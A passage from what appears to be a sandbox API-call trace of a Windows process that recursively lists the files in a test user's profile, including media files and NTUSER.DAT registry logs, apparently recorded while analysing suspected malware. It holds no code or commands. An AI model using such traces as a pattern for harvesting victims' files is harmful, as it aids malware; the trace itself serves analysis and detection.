lpString1="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned 35 [0121.649] lstrcpyW (in: lpString1=0x24af6c8, lpString2="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" [0121.649] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.649] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0121.649] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0121.649] lstrlenW (lpString="Downloads.lnk") returned 13 [0121.649] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="Downloads.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned 37 [0121.649] lstrcpyW (in: lpString1=0x24ab7d8, lpString2="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" [0121.649] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.649] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0121.649] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0121.649] lstrlenW (lpString="OneDrive.lnk") returned 12 [0121.649] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="OneDrive.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned 36 [0121.649] lstrcpyW (in: lpString1=0x24ab830, lpString2="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" [0121.649] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.649] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1 [0121.649] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1 [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0121.649] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0121.649] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="RecentPlaces.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned 40 [0121.649] lstrcpyW (in: lpString1=0x24ac870, lpString2="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" [0121.649] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.649] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.650] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.650] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0121.650] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.650] lstrlenW (lpString="Local Settings") returned 14 [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Local Settings" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings") returned="c:\\Users\\aETAdzjz\\Local Settings" [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Local Settings", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\") returned="c:\\Users\\aETAdzjz\\Local Settings\\" [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Local Settings\\") returned 33 [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\*") returned="c:\\Users\\aETAdzjz\\Local Settings\\*" [0121.650] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Local Settings\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.650] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.650] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0121.650] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.650] lstrlenW (lpString="Music") returned 5 [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Music" | out: lpString1="c:\\Users\\aETAdzjz\\Music") returned="c:\\Users\\aETAdzjz\\Music" [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\") returned="c:\\Users\\aETAdzjz\\Music\\" [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\*") returned="c:\\Users\\aETAdzjz\\Music\\*" [0121.650] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Music\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.650] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.650] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.650] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.650] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.650] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.650] lstrcmpW (lpString1="0urTZbiAGmND856rsz.wav", lpString2=".") returned 1 [0121.650] lstrcmpW (lpString1="0urTZbiAGmND856rsz.wav", lpString2="..") returned 1 [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.650] lstrlenW (lpString="0urTZbiAGmND856rsz.wav") returned 22 [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="0urTZbiAGmND856rsz.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned 46 [0121.650] lstrcpyW (in: lpString1=0x24ad6f8, lpString2="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" [0121.650] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.650] lstrcmpW (lpString1="ArMUD7tGcE.m4a", lpString2=".") returned 1 [0121.650] lstrcmpW (lpString1="ArMUD7tGcE.m4a", lpString2="..") returned 1 [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.650] lstrlenW (lpString="ArMUD7tGcE.m4a") returned 14 [0121.650] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="ArMUD7tGcE.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned 38 [0121.650] lstrcpyW (in: lpString1=0x24ab888, lpString2="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" [0121.650] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.650] lstrcmpW (lpString1="BJii_iHQeR86Jrb6XdUN.wav", lpString2=".") returned 1 [0121.650] lstrcmpW (lpString1="BJii_iHQeR86Jrb6XdUN.wav", lpString2="..") returned 1 [0121.650] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.650] lstrlenW (lpString="BJii_iHQeR86Jrb6XdUN.wav") returned 24 [0121.651] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="BJii_iHQeR86Jrb6XdUN.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned 48 [0121.651] lstrcpyW (in: lpString1=0x24ae7e0, lpString2="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" [0121.651] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.651] lstrcmpW (lpString1="BU2zG", lpString2=".") returned 1 [0121.651] lstrcmpW (lpString1="BU2zG", lpString2="..") returned 1 [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.651] lstrlenW (lpString="BU2zG") returned 5 [0121.651] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="BU2zG" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BU2zG") returned="c:\\Users\\aETAdzjz\\Music\\BU2zG" [0121.651] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.651] lstrcmpW (lpString1="CSZbKR", lpString2=".") returned 1 [0121.651] lstrcmpW (lpString1="CSZbKR", lpString2="..") returned 1 [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.651] lstrlenW (lpString="CSZbKR") returned 6 [0121.651] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="CSZbKR" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\CSZbKR") returned="c:\\Users\\aETAdzjz\\Music\\CSZbKR" [0121.651] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.651] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.651] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.651] lstrlenW (lpString="desktop.ini") returned 11 [0121.651] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Music\\desktop.ini" [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\desktop.ini") returned 35 [0121.651] lstrcpyW (in: lpString1=0x24af718, lpString2="c:\\Users\\aETAdzjz\\Music\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Music\\desktop.ini" [0121.651] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.651] lstrcmpW (lpString1="E4rt4A.mp3", lpString2=".") returned 1 [0121.651] lstrcmpW (lpString1="E4rt4A.mp3", lpString2="..") returned 1 [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.651] lstrlenW (lpString="E4rt4A.mp3") returned 10 [0121.651] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="E4rt4A.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3") returned="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3") returned 34 [0121.651] lstrcpyW (in: lpString1=0x24af768, lpString2="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3") returned="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" [0121.651] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.651] lstrcmpW (lpString1="h7aWf.wav", lpString2=".") returned 1 [0121.651] lstrcmpW (lpString1="h7aWf.wav", lpString2="..") returned 1 [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.651] lstrlenW (lpString="h7aWf.wav") returned 9 [0121.651] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="h7aWf.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav") returned="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav") returned 33 [0121.651] lstrcpyW (in: lpString1=0x24af7b8, lpString2="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav") returned="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" [0121.651] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.651] lstrcmpW (lpString1="v-t6Z79-Bq.m4a", lpString2=".") returned 1 [0121.651] lstrcmpW (lpString1="v-t6Z79-Bq.m4a", lpString2="..") returned 1 [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0121.651] lstrlenW (lpString="v-t6Z79-Bq.m4a") returned 14 [0121.651] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="v-t6Z79-Bq.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a") returned="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" [0121.651] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a") returned 38 [0121.651] lstrcpyW (in: lpString1=0x24ab8e0, lpString2="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a") returned="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" [0121.651] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.651] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.651] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.651] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0121.652] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.652] lstrlenW (lpString="My Documents") returned 12 [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="My Documents" | out: lpString1="c:\\Users\\aETAdzjz\\My Documents") returned="c:\\Users\\aETAdzjz\\My Documents" [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\My Documents", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\My Documents\\") returned="c:\\Users\\aETAdzjz\\My Documents\\" [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\My Documents\\") returned 31 [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\My Documents\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\My Documents\\*") returned="c:\\Users\\aETAdzjz\\My Documents\\*" [0121.652] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\My Documents\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.652] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.652] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0121.652] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.652] lstrlenW (lpString="NetHood") returned 7 [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NetHood" | out: lpString1="c:\\Users\\aETAdzjz\\NetHood") returned="c:\\Users\\aETAdzjz\\NetHood" [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\NetHood", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\NetHood\\") returned="c:\\Users\\aETAdzjz\\NetHood\\" [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NetHood\\") returned 26 [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\NetHood\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\NetHood\\*") returned="c:\\Users\\aETAdzjz\\NetHood\\*" [0121.652] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\NetHood\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.652] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.652] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0121.652] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.652] lstrlenW (lpString="NTUSER.DAT") returned 10 [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT" [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT") returned 28 [0121.652] lstrcpyW (in: lpString1=0x5bd9d8, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT" [0121.652] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.652] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0121.652] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.652] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="ntuser.dat.LOG1" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1" [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1") returned 33 [0121.652] lstrcpyW (in: lpString1=0x24af808, lpString2="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1" [0121.652] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.652] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0121.652] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.652] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0121.652] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="ntuser.dat.LOG2" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2" [0121.652] lstrlenW (lpString="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2") returned 33 [0121.652] lstrcpyW (in: lpString1=0x24af858, lpString2="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2" [0121.652] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.652] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1 [0121.653] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1 [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.653] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0121.653] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 73 [0121.653] lstrcpyW (in: lpString1=0x24af8a8, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0121.653] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.653] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0121.653] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.653] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0121.653] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 110 [0121.653] lstrcpyW (in: lpString1=0x24af948, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0121.653] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.653] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0121.653] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.653] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0121.653] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 110 [0121.653] lstrcpyW (in: lpString1=0x24afa30, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0121.653] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.653] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0121.653] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.653] lstrlenW (lpString="ntuser.ini") returned 10 [0121.653] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="ntuser.ini" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.ini") returned="c:\\Users\\aETAdzjz\\ntuser.ini" [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\ntuser.ini") returned 28 [0121.653] lstrcpyW (in: lpString1=0x5bda20, lpString2="c:\\Users\\aETAdzjz\\ntuser.ini" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.ini") returned="c:\\Users\\aETAdzjz\\ntuser.ini" [0121.653] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.653] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0121.653] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.653] lstrlenW (lpString="OneDrive") returned 8 [0121.653] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="OneDrive" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive") returned="c:\\Users\\aETAdzjz\\OneDrive" [0121.653] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\OneDrive", lpString2="\\" | out: 